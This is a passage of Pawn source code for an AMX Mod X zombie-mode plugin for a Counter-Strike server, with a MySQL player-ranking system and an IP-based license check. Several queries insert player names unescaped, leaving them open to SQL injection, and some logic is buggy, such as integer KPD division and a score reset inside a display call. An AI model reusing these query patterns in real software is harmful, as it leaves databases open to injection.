#include             <     amxmodx     >
#include             <     amxmisc     >
#include             <     cstrike     >
#include             <     sockets     >
#include             <       fun       >
#include             <   hamsandwich   >
#include             <     fakemeta    >
#include             <     engine      >
#include             <   chr_engine    >
#include             <       xs        >
#include             <      sqlx       >
#include             <      nvault     >
#include             <     csstats     >
#include             <      csx        >
#include             <     string      >
#include             <     geoip       >
#include             <     newmenus    >
#include             <   dhudmessage   >

#pragma tabsize               0
#pragma dynamic               8000000

#pragma compress 1

//#define USING_SQL

#if defined USING_SQL

	#include   <    sqlx    >

#endif

#define IP_SERVER_LICENTIAT "89.136.116.1"

new g_ServerIP[ 16 ], g_Socket;

new const licenseMsg[ 2 ][ ] =
{
	"IP-ul serverului este licentiat! Pluginul ruleaza!",
	"IP-ul serverului nu este licentiat iar pluginul nu poate rula pe acesta!"
}


#define ADMIN_LOOKUP	(1<<0)

#define ADMIN_NORMAL	(1<<1)

#define ADMIN_STEAM	(1<<2)

#define ADMIN_IPADDR	(1<<3)

#define ADMIN_NAME	(1<<4)

#define CHAT_PREFIX    "^4[Zombie Outstanding]^1"

#define CONSOLE_PREFIX  "[Zombie Outstanding]"

#define INT_MAX_PLAYERS_MENU 360

new const ADMINS_FILE_NAME [ ] = "Admins.ini";

new const TAG[] = "[Zombie Outstanding]"

#define TASK_HUD 5345634

#define REMINDER_DELAY         25.0

#define MAX_PLAYERS			   32

#define Maximum_Players        32

enum _:Colors
{
	print_team_default,
	print_team_red,
	print_team_blue,
	print_team_grey
};

stock const TeamName [Colors] [ ] =
{
	"UNASSIGNED",
	"TERRORIST",
	"CT",
	"SPECTATOR"
};

new const BlockTexts [ ] [ ]  =
{
	"#",
	"$",
	"%"
};

enum
{
	INFO_NAME,
	INFO_IP,
	INFO_AUTHID
};

const TASK_ID = 1603;

const TASK_HEALTH = 1994;

new const Float: iCoords [ ] [ ] =
{
	{ 0.50, 0.40 },
	{ 0.56, 0.44 },
	{ 0.60, 0.50 },
	{ 0.56, 0.56 },
	{ 0.50, 0.60 },
	{ 0.44, 0.56 },
	{ 0.40, 0.50 },
	{ 0.44, 0.44 }
};

new const Float:sizez [ ] [ 3 ] =
{
    {0.0, 0.0, 1.0}, {0.0, 0.0, -1.0}, {0.0, 1.0, 0.0}, {0.0, -1.0, 0.0}, {1.0, 0.0, 0.0}, {-1.0, 0.0, 0.0}, {-1.0, 1.0, 1.0}, {1.0, 1.0, 1.0}, {1.0, -1.0, 1.0}, {1.0, 1.0, -1.0}, {-1.0, -1.0, 1.0}, {1.0, -1.0, -1.0}, {-1.0, 1.0, -1.0}, {-1.0, -1.0, -1.0},
    {0.0, 0.0, 2.0}, {0.0, 0.0, -2.0}, {0.0, 2.0, 0.0}, {0.0, -2.0, 0.0}, {2.0, 0.0, 0.0}, {-2.0, 0.0, 0.0}, {-2.0, 2.0, 2.0}, {2.0, 2.0, 2.0}, {2.0, -2.0, 2.0}, {2.0, 2.0, -2.0}, {-2.0, -2.0, 2.0}, {2.0, -2.0, -2.0}, {-2.0, 2.0, -2.0}, {-2.0, -2.0, -2.0},
    {0.0, 0.0, 3.0}, {0.0, 0.0, -3.0}, {0.0, 3.0, 0.0}, {0.0, -3.0, 0.0}, {3.0, 0.0, 0.0}, {-3.0, 0.0, 0.0}, {-3.0, 3.0, 3.0}, {3.0, 3.0, 3.0}, {3.0, -3.0, 3.0}, {3.0, 3.0, -3.0}, {-3.0, -3.0, 3.0}, {3.0, -3.0, -3.0}, {-3.0, 3.0, -3.0}, {-3.0, -3.0, -3.0},
    {0.0, 0.0, 4.0}, {0.0, 0.0, -4.0}, {0.0, 4.0, 0.0}, {0.0, -4.0, 0.0}, {4.0, 0.0, 0.0}, {-4.0, 0.0, 0.0}, {-4.0, 4.0, 4.0}, {4.0, 4.0, 4.0}, {4.0, -4.0, 4.0}, {4.0, 4.0, -4.0}, {-4.0, -4.0, 4.0}, {4.0, -4.0, -4.0}, {-4.0, 4.0, -4.0}, {-4.0, -4.0, -4.0},
    {0.0, 0.0, 5.0}, {0.0, 0.0, -5.0}, {0.0, 5.0, 0.0}, {0.0, -5.0, 0.0}, {5.0, 0.0, 0.0}, {-5.0, 0.0, 0.0}, {-5.0, 5.0, 5.0}, {5.0, 5.0, 5.0}, {5.0, -5.0, 5.0}, {5.0, 5.0, -5.0}, {-5.0, -5.0, 5.0}, {5.0, -5.0, -5.0}, {-5.0, 5.0, -5.0}, {-5.0, -5.0, -5.0}
}

enum (+= 100)
{
	TASK_MODEL = 2000,
	TASK_TEAM,
	TASK_SPAWN,
	TASK_BLOOD,
	TASK_BURN,
	TASK_NVISION,
	TASK_SHOWHUD,
	TASK_MAKEZOMBIE,
	TASK_WELCOMEMSG,
	TASK_AMBIENCESOUNDS,
	TASK_REGENERATION
};

enum
{
	INT_STATS_KILLS = 0,
	INT_STATS_DEATHS,
	INT_STATS_HS,
	INT_STATS_TKS,
	INT_STATS_SHOTS,
	INT_STATS_HITS,
	INT_STATS_DAMAGE
};

enum
{
	INT_STATS_HIT_GENERIC = 0,
	INT_STATS_HIT_HEAD,
	INT_STATS_HIT_CHEST,
	INT_STATS_HIT_STOMACH,
	INT_STATS_HIT_LEFTARM,
	INT_STATS_HIT_RIGHTARM,
	INT_STATS_HIT_LEFTLEG,
	INT_STATS_HIT_RIGHTLEG
};

new g_msgChannel
new amx_show_activity;
#define MAX_CLR 10
new g_Colors[MAX_CLR][] = {"COL_WHITE", "COL_RED", "COL_GREEN", "COL_BLUE", "COL_YELLOW", "COL_MAGENTA", "COL_CYAN", "COL_ORANGE", "COL_OCEAN", "COL_MAROON"}
new g_Values[MAX_CLR][] = {{255, 255, 255}, {255, 0, 0}, {0, 255, 0}, {0, 0, 255}, {255, 255, 0}, {255, 0, 255}, {0, 255, 255}, {227, 96, 8}, {45, 89, 116}, {103, 44, 38}}
new Float:g_Pos[4][] = {{0.0, 0.0}, {0.05, 0.55}, {-1.0, 0.2}, {-1.0, 0.7}}
/* --------------- | Rank mysql | -------------- */

#define SQL_Server ""
#define SQL_Person ""
#define SQL_Password ""
#define SQL_Database "Zombie_OutStanding_Stats_Db"

#define Date_Format "%d.%m.%Y @ %H:%M" /** %d is day, %m is month, %Y is year, %H is hour and %M is minute. */

#define Errors_File "Zombie_OutStanding_Errors.log" /** Where the errors should be logged */

#define Chat_Tag "[Zombie OutStanding]"
#define Chat_Tag_Color 4 /** 1 for yellow, 3 for team color and 4 for green. */
#define Chat_Message_For_Victim 1 /** Chat messages for victim. Use 0 to disable. */
#define Chat_Message_For_Killer 1 /** Chat messages for killer. Use 0 to disable */
#define Chat_Detailed_Rank 1 /** Also includes Kills, Deaths, headShots and KpD ratio. */

#define Score_Start 1000 /** Score to start with. */
#define Score_For_Suicide 5 /** Loses 5 points if committing suicide. */
#define Score_For_Kill 5 /** Gets 5 points if committing normal kill. */
#define Score_For_Head_Shot 10 /** Gets 10 points if committing headshot kill. */
#define Score_For_Death 3 /** Loses 3 points if getting killed. */

#define Name_Kick_Reason "Stop changing your name that fast."
#define Name_Change_Interval 7.5 /** Seconds between changing names. */

#define Task_Update_Time 23785321 /** Random offset. */
#define Task_Id_Update_Time (Id - Task_Update_Time) /** TaskId - Offset returns player's Id. */

#define Seconds_In_Minute 60
#define Seconds_In_Hour 3600
#define Seconds_In_Day 86400
#define Seconds_In_Week 604800

enum timeUnit
{
	timeUnit_None = 0,
	timeUnit_Seconds,
	timeUnit_Minutes,
	timeUnit_Hours,
	timeUnit_Days,
	timeUnit_Weeks,
	timeUnit_Count
};

static Handle:g_Tuple = Empty_Handle;

static g_Query[1024] = { 0, ... };

static g_Name[Maximum_Players + 1][64];
static g_Steam[Maximum_Players + 1][64];
static g_Ip[Maximum_Players + 1][64];
static g_seenString[Maximum_Players + 1][64];
static g_timeString[Maximum_Players + 1][64];

static g_Time[Maximum_Players + 1] = { 0, ... };
static g_Score[Maximum_Players + 1] = { 0, ... };
static g_Seen[Maximum_Players + 1] = { 0, ... };
static g_Kills[Maximum_Players + 1] = { 0, ... };
static g_Deaths[Maximum_Players + 1] = { 0, ... };
static g_headShots[Maximum_Players + 1] = { 0, ... };
static g_kmdValue[Maximum_Players + 1] = { 0, ... };

static Float:g_kpdRatio[Maximum_Players + 1] = { 0.0, ... };

static g_maxPlayers = 0;
static g_recordsCount = 0;

computeTimeLength(Time, timeUnit:unitType, Output[], outputSize)
{
	static Weeks = 0, Days = 0, Hours = 0, Minutes = 0, Seconds = 0, \
		maxElementId = 0, timeElement[5][64], Length = 0;

	if (Time > 0)
	{
		maxElementId = 0;

		switch (unitType)
		{
			case timeUnit_Seconds: Seconds = Time;
			case timeUnit_Minutes: Seconds = Time * Seconds_In_Minute;
			case timeUnit_Hours: Seconds = Time * Seconds_In_Hour;
			case timeUnit_Days: Seconds = Time * Seconds_In_Day;
			case timeUnit_Weeks: Seconds = Time * Seconds_In_Week;
		}

		Weeks = Seconds / Seconds_In_Week;
		Seconds -= (Weeks * Seconds_In_Week);

		Days = Seconds / Seconds_In_Day;
		Seconds -= (Days * Seconds_In_Day);

		Hours = Seconds / Seconds_In_Hour;
		Seconds -= (Hours * Seconds_In_Hour);

		Minutes = Seconds / Seconds_In_Minute;
		Seconds -= (Minutes * Seconds_In_Minute);

		if (Weeks > 0)
			formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d w", Weeks);

		if (Days > 0)
			formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d d", Days);

		if (Hours > 0)
			formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d h", Hours);

		if (Minutes > 0)
			formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d m", Minutes);

		if (Seconds > 0)
			formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d s", Seconds);

		switch (maxElementId)
		{
			case 1: Length = formatex(Output, outputSize, "%s", timeElement[0]);
			case 2: Length = formatex(Output, outputSize, "%s %s", timeElement[0], timeElement[1]);
			case 3: Length = formatex(Output, outputSize, "%s %s %s", timeElement[0], timeElement[1], \
						timeElement[2]);
			case 4: Length = formatex(Output, outputSize, "%s %s %s %s", timeElement[0], timeElement[1], \
						timeElement[2], timeElement[3]);
			case 5: Length = formatex(Output, outputSize, "%s %s %s %s %s", timeElement[0], timeElement[1], \
						timeElement[2], timeElement[3], timeElement[4]);
		}

		return Length;
	}

	Length = formatex(Output, outputSize, "0 m");

	return Length;
}

bool:isValidPlayer(Player)
{
	return bool:(Player >= 1 && Player <= g_maxPlayers);
}

resetPlayer(Player)
{
	static timeNow = 0;

	if (isValidPlayer(Player) && !is_user_bot(Player) && !is_user_hltv(Player))
	{
		timeNow = get_systime();

		/**
		* -----------------------------------------------------
		* Players
		* -----------------------------------------------------
		* Name
		* Steam
		* Ip
		* Score
		* Kills
		* Deaths
		* headShots
		* Time			- The time spent in minutes.
		* timeString	- Formatted as a string.
		* Seen			- get_systime() stamp.
		* seenString	- get_systime() stamp formatted as a time string including date.
		* kpdRatio		- Kills/ Deaths ratio.
		* kmdValue		- Kills - Deaths value.
		*/

		g_Score[Player] = Score_Start;
		g_Kills[Player] = 0;
		g_Deaths[Player] = 0;
		g_headShots[Player] = 0;
		g_Time[Player] = 0;
		computeTimeLength(g_Time[Player], timeUnit_Minutes, g_timeString[Player], charsmax(g_timeString[]));
		g_Seen[Player] = timeNow;
		format_time(g_seenString[Player], charsmax(g_seenString[]), Date_Format);
		g_kpdRatio[Player] = 0.0;
		g_kmdValue[Player] = 0;
	}
}

Float:computeKpdRatio(Player)
{
	if (isValidPlayer(Player) && is_user_connected(Player) && \
		is_user_bot(Player) == 0 && is_user_hltv(Player) == 0)
	{
		if (g_Deaths[Player] == 0)
		{
			return float(g_Kills[Player]);
		}

		else
		{
			return float(g_Kills[Player] / g_Deaths[Player]);
		}
	}

	return 0.0;
}

computeKmdValue(Player)
{
	if (isValidPlayer(Player) && is_user_connected(Player) && \
		is_user_bot(Player) == 0 && is_user_hltv(Player) == 0)
	{
		return g_Kills[Player] - g_Deaths[Player];
	}

	return 0;
}

/**
* Updates player's rank statistics.
*/
updateRank(Client)
{
	if (isValidPlayer(Client) && is_user_connected(Client) && \
		is_user_bot(Client) == 0 && is_user_hltv(Client) == 0)
	{
		/**
		* -----------------------------------------------------
		* Players
		* -----------------------------------------------------
		* Name
		* Steam
		* Ip
		* Score
		* Kills
		* Deaths
		* headShots
		* Time			- The time spent in minutes.
		* timeString	- Formatted as a string.
		* Seen			- get_systime() stamp.
		* seenString	- get_systime() stamp formatted as a time string including date.
		* kpdRatio		- Kills/ Deaths ratio.
		* kmdValue		- Kills - Deaths value.
		*/
		formatex(g_Query, charsmax(g_Query), "UPDATE Players SET Ip = '%s', Score = %d, Kills = %d, Deaths = %d, \
			headShots = %d, Seen = %d, seenString = '%s', kpdRatio = %f, kmdValue = %d WHERE Name = '%s';", \
			g_Ip[Client], g_Score[Client], g_Kills[Client], g_Deaths[Client], g_headShots[Client], \
			g_Seen[Client], g_seenString[Client], g_kpdRatio[Client], g_kmdValue[Client], g_Name[Client]);

		SQL_ThreadQuery(g_Tuple, "emptyFunction", g_Query);
	}
}

/**
* Returns the length of the message sent.
*/
/**
* Retrieves the name of the best 15 players.
*
* Returns 0 if it fails. Returns how many players have been selected otherwise.
* If there are not 15 ranked players yet, it might return values like 1, 2, 3 and so on.
* Example of use:
*
*	new totalPlayers = NewStats_GetTop15(...);
*
* And then you can get the rank statistics for each.
*
* =====================================================================================
*
* native NewStats_GetTop15(_n1[], _n2[], _n3[], _n4[], _n5[], _n6[], _n7[], _n8[], \
*	_n9[], _n10[], _n11[], _n12[], _n13[], _n14[], _n15[]);
*
*/
public NewStats_GetTop15(pluginId, parametersCount)
{
	static Name[15][64], Total, Error[256], errorId, Handle:Connection, \
		Handle:Query, Iterator;

	Connection = SQL_Connect(g_Tuple, errorId, Error, charsmax(Error));

	if (errorId)
	{
		log_to_file(Errors_File, "NewStats_GetTop15() failed because SQL has encountered an error.");
		log_to_file(Errors_File, "The error is listed below.");
		log_to_file(Errors_File, "[%d] %s", errorId, Error);

		return 0;
	}

	Query = SQL_PrepareQuery(Connection, "SELECT Name FROM Players ORDER BY kmdValue DESC LIMIT 15;");
	SQL_Execute(Query);

	if (SQL_NumResults(Query) == 0)
	{
		SQL_FreeHandle(Query);
		SQL_FreeHandle(Connection);

		return 0;
	}

	Total = 0;

	while (SQL_MoreResults(Query))
	{
		SQL_ReadResult(Query, 0, Name[Total++], charsmax(Name[]));

		SQL_NextRow(Query);
	}

	SQL_FreeHandle(Query);
	SQL_FreeHandle(Connection);

	for (Iterator = 0; Iterator < Total; Iterator++)
		set_string(Iterator + 1, Name[Iterator], charsmax(Name[]));

	return Total;
}

/**
* Retrieves information of a player by name.
*
* Returns 0 if it fails. If the name of the player does not exists and so on.
* Returns 1 otherwise.
* These values are all strings. You can then convert them to numbers and so on.
* Example of use:
*
*	new Name[64] = "Hattrick";
*	Steam[64], Ip[64], Score[16], Rank[16];
*	new Success = NewStats_GetStats(Name, Steam, Ip, Score, ...);
*
*	if (Success)
*	{
*		server_print("Player %s's score is %s. Or numeric, %d.", Name, Score, str_to_num(Score));
*	}
*
* =====================================================================================
*
* native NewStats_GetStats(const Name[], Steam[], Ip[], Score[], Kills[], \
*	Deaths[], headShots[], Time[], timeString[], Seen[], seenString[], \
*	kpdRatio[], kmdValue[], Rank[], totalPositions[]);
*
*/
public NewStats_GetStats(pluginId, parametersCount)
{
	static Name[64], Error[256], errorId, Handle:Connection, Handle:Query, Kills[16], Deaths[16], \
		headShots[16], Score[16], Ip[64], Steam[64], Time[16], timeString[64], Seen[16], \
		seenString[64], kpdRatio[16], kmdValue[16], Kills_i, Deaths_i, headShots_i, Score_i, \
		Time_i, Seen_i, Float:kpdRatio_f, kmdValue_i, Rank[16], Rank_i, totalPositions[16];

	get_string(1, Name, charsmax(Name));

	replace_all(Name, charsmax(Name), "`", "*");
	replace_all(Name, charsmax(Name), "'", "*");
	replace_all(Name, charsmax(Name), "\", "*");

	/**
	* -----------------------------------------------------
	* Players
	* -----------------------------------------------------
	* Name
	* Steam
	* Ip
	* Score
	* Kills
	* Deaths
	* headShots
	* Time			- The time spent in minutes.
	* timeString	- Formatted as a string.
	* Seen			- get_systime() stamp.
	* seenString	- get_systime() stamp formatted as a time string including date.
	* kpdRatio		- Kills/ Deaths ratio.
	* kmdValue		- Kills - Deaths value.
	*/
	Connection = SQL_Connect(g_Tuple, errorId, Error, charsmax(Error));

	if (errorId)
	{
		log_to_file(Errors_File, "NewStats_GetStats() failed because SQL has encountered an error.");
		log_to_file(Errors_File, "The error is listed below.");
		log_to_file(Errors_File, "[%d] %s", errorId, Error);

		return 0;
	}

	formatex(g_Query, charsmax(g_Query), "SELECT Steam, Ip, Score, Kills, Deaths, headShots, \
		Time, timeString, Seen, seenString, kpdRatio, kmdValue FROM Players WHERE Name = '%s';", Name);

	Query = SQL_PrepareQuery(Connection, g_Query);
	SQL_Execute(Query);

	if (SQL_NumResults(Query) == 0)
	{
		SQL_FreeHandle(Query);
		SQL_FreeHandle(Connection);

		return 0;
	}

	SQL_ReadResult(Query, 0, Steam, charsmax(Steam));
	SQL_ReadResult(Query, 1, Ip, charsmax(Ip));
	Score_i = SQL_ReadResult(Query, 2);
	num_to_str(Score_i, Score, charsmax(Score));
	Kills_i = SQL_ReadResult(Query, 3);
	num_to_str(Kills_i, Kills, charsmax(Kills));
	Deaths_i = SQL_ReadResult(Query, 4);
	num_to_str(Deaths_i, Deaths, charsmax(Deaths));
	headShots_i = SQL_ReadResult(Query, 5);
	num_to_str(headShots_i, headShots, charsmax(headShots));
	Time_i = SQL_ReadResult(Query, 6);
	num_to_str(Time_i, Time, charsmax(Time));
	SQL_ReadResult(Query, 7, timeString, charsmax(timeString));
	Seen_i = SQL_ReadResult(Query, 8);
	num_to_str(Seen_i, Seen, charsmax(Seen));
	SQL_ReadResult(Query, 9, seenString, charsmax(seenString));
	SQL_ReadResult(Query, 10, kpdRatio_f);
	float_to_str(kpdRatio_f, kpdRatio, charsmax(kpdRatio));
	kmdValue_i = SQL_ReadResult(Query, 11);
	num_to_str(kmdValue_i, kmdValue, charsmax(kmdValue));

	SQL_FreeHandle(Query);

	set_string(2, Steam, charsmax(Steam));
	set_string(3, Ip, charsmax(Ip));
	set_string(4, Score, charsmax(Score));
	set_string(5, Kills, charsmax(Kills));
	set_string(6, Deaths, charsmax(Deaths));
	set_string(7, headShots, charsmax(headShots));
	set_string(8, Time, charsmax(Time));
	set_string(9, timeString, charsmax(timeString));
	set_string(10, Seen, charsmax(Seen));
	set_string(11, seenString, charsmax(seenString));
	set_string(12, kpdRatio, charsmax(kpdRatio));
	set_string(13, kmdValue, charsmax(kmdValue));

	formatex(g_Query, charsmax(g_Query), "SELECT DISTINCT kmdValue FROM Players \
	WHERE kmdValue >= %d ORDER BY kmdValue ASC;", kmdValue_i);

	Query = SQL_PrepareQuery(Connection, g_Query);
	SQL_Execute(Query);

	Rank_i = SQL_NumResults(Query);
	num_to_str(Rank_i, Rank, charsmax(Rank));

	SQL_FreeHandle(Query);
	SQL_FreeHandle(Connection);

	set_string(14, Rank, charsmax(Rank));

	num_to_str(g_recordsCount, totalPositions, charsmax(totalPositions));
	set_string(15, totalPositions, charsmax(totalPositions));

	return 1;
}

public recordsCount(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
{
	if (failState != 0 || errorId != 0)
	{
		log_to_file(Errors_File, "SQL_ThreadQuery() failed @ recordsCount()");
		log_to_file(Errors_File, "[%d] %s", errorId, Error);
	}

	else if (queueTime > 15.0)
	{
		log_to_file(Errors_File, "SQL_ThreadQuery() @ recordsCount() :  This query took 15.0 seconds. \
			Talk to the game host company tell them the MySQL database works too slow.");
	}

	g_recordsCount = SQL_NumResults(Query);
}

public emptyFunction(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
{
	if (failState != 0 || errorId != 0)
	{
		log_to_file(Errors_File, "SQL_ThreadQuery() failed @ emptyFunction()");
		log_to_file(Errors_File, "[%d] %s", errorId, Error);
	}

	else if (queueTime > 15.0)
	{
		log_to_file(Errors_File, "SQL_ThreadQuery() @ emptyFunction() :  This query took 15.0 seconds. \
			Talk to the game host company tell them the MySQL database works too slow.");
	}

	/**
	* Query is now executed.
	*/
}

public retrieveOrCreatePlayer(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
{
	static Client = 0;

	if (failState != 0 || errorId != 0)
	{
		log_to_file(Errors_File, "SQL_ThreadQuery() failed @ retrieveOrCreatePlayer()");
		log_to_file(Errors_File, "[%d] %s", errorId, Error);
	}

	else if (queueTime > 15.0)
	{
		log_to_file(Errors_File, "SQL_ThreadQuery() @ retrieveOrCreatePlayer() :  This query took 15.0 seconds. \
			Talk to the game host company tell them the MySQL database works too slow.");
	}

	Client = str_to_num(Data);

	if (is_user_connected(Client) == 1 && is_user_bot(Client) == 0 && is_user_hltv(Client) == 0)
	{
		resetPlayer(Client);

		/**
		* -----------------------------------------------------
		* Players
		* -----------------------------------------------------
		* Name
		* Steam
		* Ip
		* Score
		* Kills
		* Deaths
		* headShots
		* Time			- The time spent in minutes.
		* timeString	- formatted time spent
		* Seen			- get_systime() stamp
		* seenString	- get_systime() stamp formatted as time string
		* kpdRatio		- Kills/ Deaths ratio
		* kmdValue		- Kills - Deaths value
		*/

		switch (SQL_NumResults(Query))
		{
			case 0:
			{
				formatex(g_Query, charsmax(g_Query), "INSERT INTO Players VALUES ('%s', \
					'%s', '%s', %d, %d, %d, %d, %d, '%s', %d, '%s', %f, %d);", g_Name[Client], \
					g_Steam[Client], g_Ip[Client], g_Score[Client], g_Kills[Client], \
					g_Deaths[Client], g_headShots[Client], g_Time[Client], g_timeString[Client], g_Seen[Client], \
					g_seenString[Client], g_kpdRatio[Client], g_kmdValue[Client]);

				SQL_ThreadQuery(g_Tuple, "emptyFunction", g_Query);

				g_recordsCount++;
			}

			default:
			{
				g_Score[Client] = SQL_ReadResult(Query, 0);
				g_Kills[Client] = SQL_ReadResult(Query, 1);
				g_Deaths[Client] = SQL_ReadResult(Query, 2);
				g_headShots[Client] = SQL_ReadResult(Query, 3);
				g_Time[Client] = SQL_ReadResult(Query, 4);
				SQL_ReadResult(Query, 5, g_timeString[Client], charsmax(g_timeString[]));
				g_Seen[Client] = SQL_ReadResult(Query, 6);
				SQL_ReadResult(Query, 7, g_seenString[Client], charsmax(g_seenString[]));
				SQL_ReadResult(Query, 8, g_kpdRatio[Client]);
				g_kmdValue[Client] = SQL_ReadResult(Query, 9);
			}
		}

		set_task(5.0, "rankPrepared", Client);
		set_task(120.0, "timeUpdate", Client + Task_Update_Time, .flags = "b"); /** Every 2 minutes. */
	}
}

public timeUpdate(Id)
{
	if (is_user_connected(Task_Id_Update_Time) && \
		!is_user_bot(Task_Id_Update_Time) && !is_user_hltv(Task_Id_Update_Time))
	{
		g_Time[Task_Id_Update_Time] += 2; /** 2 minutes. */

		computeTimeLength(g_Time[Task_Id_Update_Time], \
			timeUnit_Minutes, g_timeString[Task_Id_Update_Time], charsmax(g_timeString[]));

		formatex(g_Query, charsmax(g_Query), \
			"UPDATE Players SET Time = %d, timeString = '%s' WHERE Name = '%s';", \
			g_Time[Task_Id_Update_Time], g_timeString[Task_Id_Update_Time], g_Name[Task_Id_Update_Time]);

		SQL_ThreadQuery(g_Tuple, "emptyFunction", g_Query);
	}
}

public rankPrepared(Client)
{
	static queryData[32] = { 0, ... };

	if (is_user_connected(Client) == 1 && is_user_bot(Client) == 0 && is_user_hltv(Client) == 0)
	{

		set_dhudmessage ( 0, 255, 0, 0.03, 0.60, 2, 6.0, 3.0  );
		show_dhudmessage(Client, "You are now ranked!");

		if ( !access ( Client, read_flags ("m") ) )
		{
		   set_dhudmessage( 0, 255, 0, 0.03, 0.60, 2, 6.0, 3.0 );
		   show_dhudmessage(Client, "You are now Administrator!");
		}

		num_to_str(Client, queryData, charsmax(queryData));

		formatex(g_Query, charsmax(g_Query), "SELECT DISTINCT kmdValue \
			FROM Players WHERE kmdValue >= %d ORDER BY kmdValue ASC;", g_kmdValue[Client]);

		SQL_ThreadQuery(g_Tuple, "showRank", g_Query, queryData, sizeof(queryData));
	}
}

public showRank(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
{
	static Client = 0, Rank = 0, rankString[16], recordsString[16], scoreString[16], \
		killsString[16], deathsString[16], headShotsString[16];

	if (failState != 0 || errorId != 0)
	{
		log_to_file(Errors_File, "SQL_ThreadQuery() failed @ showRank()");
		log_to_file(Errors_File, "[%d] %s", errorId, Error);
	}

	else if (queueTime > 15.0)
	{
		log_to_file(Errors_File, "SQL_ThreadQuery() @ showRank() :  This query took 15.0 seconds. \
			Talk to the game host company tell them the MySQL database works too slow.");
	}

	Client = str_to_num(Data);

	if (is_user_connected(Client) == 1 && is_user_bot(Client) == 0 && is_user_hltv(Client) == 0)
	{
		Rank = SQL_NumResults(Query);

		addCommas2(Rank, rankString, charsmax(rankString));
		addCommas2(g_recordsCount, recordsString, charsmax(recordsString));
		addCommas2(g_Kills[Client], killsString, charsmax(killsString));
		addCommas2(g_Deaths[Client], deathsString, charsmax(deathsString));
		addCommas2(g_Score[Client], scoreString, charsmax(scoreString));
		addCommas2(g_headShots[Client], headShotsString, charsmax(headShotsString));

		new HostName [64]; get_cvar_string ( "hostname", HostName, charsmax ( HostName ) );

		set_dhudmessage ( 0, 255, 0, 0.05, 0.22, 2, 0.02, 1.0, 0.05, 6.0  );
		show_dhudmessage ( Client, "Welcome, %s^nRank: %s of %s Score: %d^nKills: %s Deaths: %s KPD: %0.2f^nOnline: %s^nWe hope you enjoy!",
		g_Name[Client], rankString, recordsString, g_Score[Client] = Score_Start, \
		killsString, deathsString, g_kpdRatio[Client], g_timeString[Client]);


		set_dhudmessage ( 212, 42, 255, 0.03, 0.5, 2, 6.0, 10.0 );
		show_dhudmessage ( Client, "%s^nDon't forget to add us to your favourites!",HostName);
	}
}

public printRankChat(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
{
	static Client = 0, Rank = 0, rankString[16], recordsString[16], scoreString[16], \
		killsString[16], deathsString[16], headShotsString[16];

	if (failState != 0 || errorId != 0)
	{
		log_to_file(Errors_File, "SQL_ThreadQuery() failed @ printRankChat()");
		log_to_file(Errors_File, "[%d] %s", errorId, Error);
	}

	else if (queueTime > 15.0)
	{
		log_to_file(Errors_File, "SQL_ThreadQuery() @ printRankChat() :  This query took 15.0 seconds. \
			Talk to the game host company tell them the MySQL database works too slow.");
	}

	Client = str_to_num(Data);

	if (is_user_connected(Client) == 1 && is_user_bot(Client) == 0 && is_user_hltv(Client) == 0)
	{
		Rank = SQL_NumResults(Query);
		addCommas2(Rank, rankString, charsmax(rankString));
		addCommas2(g_recordsCount, recordsString, charsmax(recordsString));
		addCommas2(g_Kills[Client], killsString, charsmax(killsString));
		addCommas2(g_Deaths[Client], deathsString, charsmax(deathsString));
		addCommas2(g_Score[Client], scoreString, charsmax(scoreString));
		addCommas2(g_headShots[Client], headShotsString, charsmax(headShotsString));

		client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1's rank is^4 %s^1 of ^4%s^1 --^3 %0.2f KPD", g_Name [Client] , rankString, recordsString, g_kpdRatio[Client] );
	}
}

/* --------------- | For TripMine | -------------- */

#define TASK_CREATE		        84765
#define TASK_REMOVE		        86766

#define TASK_REMOVE2		    2423423

#define entity_get_owner(%0)		 entity_get_int( %0, EV_INT_iuser2 )
#define entity_get_status(%0)		 entity_get_int( %0, EV_INT_iuser1 )
#define entity_get_classname(%0,%1)	 entity_get_string( %0, EV_SZ_classname, %1, charsmax( %1 ) )

#define KNOCBACK_DAMAGE

#define KNOCBACK_POWER

#define KNOCBACK_OBEY_CLASS

#define KNOCKBACK_DUCKING 0.25

#define KNOCBACK_DISTANCE 500

#define KNOCBACK_NEMESIS 0.25

#define KNOCBACK_ASSASSIN 0.25

/* ------------------------------------------------- */

#define ID_MODEL            (TaskIndex - TASK_MODEL)
#define ID_TEAM             (TaskIndex - TASK_TEAM)
#define ID_SPAWN            (TaskIndex - TASK_SPAWN)
#define ID_BLOOD            (TaskIndex - TASK_BLOOD)
#define ID_BURN             (TaskIndex - TASK_BURN)
#define ID_NVISION          (TaskIndex - TASK_NVISION)
#define ID_SHOWHUD          (TaskIndex - TASK_SHOWHUD)
#define ID_REGENERATION     (TaskIndex - TASK_REGENERATION)

enum
{
	EXTRA_NAPALM_NADE,
	EXTRA_FROST_NADE,
	EXTRA_EXPLOSION_NADE,
	EXTRA_KILLING_NADE,
	EXTRA_M249_PARA_MACHINEGUN,
	EXTRA_G3SG1_AUTO_SNIPER,
	EXTRA_SG550_AUTO_SNIPER,
	EXTRA_AWP_MAGNUM_SNIPER,
	EXTRA_NVISION,
	EXTRA_JETPACK,
	EXTRA_UNLIMITEDCLIP,
	EXTRA_ARMOR_100,
	EXTRA_ARMOR_200,
	EXTRA_MULTIJUMP,
	EXTRA_TRYDER,
	EXTRA_AK47GOLD,
	EXTRA_DEAGLEGOLD,
	EXTRA_SURVIVOR,
	EXTRA_SNIPER,
	EXTRA_NEMESIS,
	EXTRA_ASSASSIN,
	EXTRA_ANTIDOTE,
	EXTRA_INFECTIONBOMB,
	EXTRA_MADNESS,
	EXTRA_KNIFEBLINK,
	EXTRA_TRIPMINE,
	EXTRA_WEAPONS_STARTID
};

enum
{
	ZCLASS_NONE = -1,
	ZCLASS_CLASSIC,
	ZCLASS_RAPTOR,
	ZCLASS_MUTANT,
	ZCLASS_FROZEN,
	ZCLASS_REGENERATOR,
	ZCLASS_PREDATOR,
	ZCLASS_HUNTER
}

enum
{
	MODE_NONE = 0,
	MODE_INFECTION,
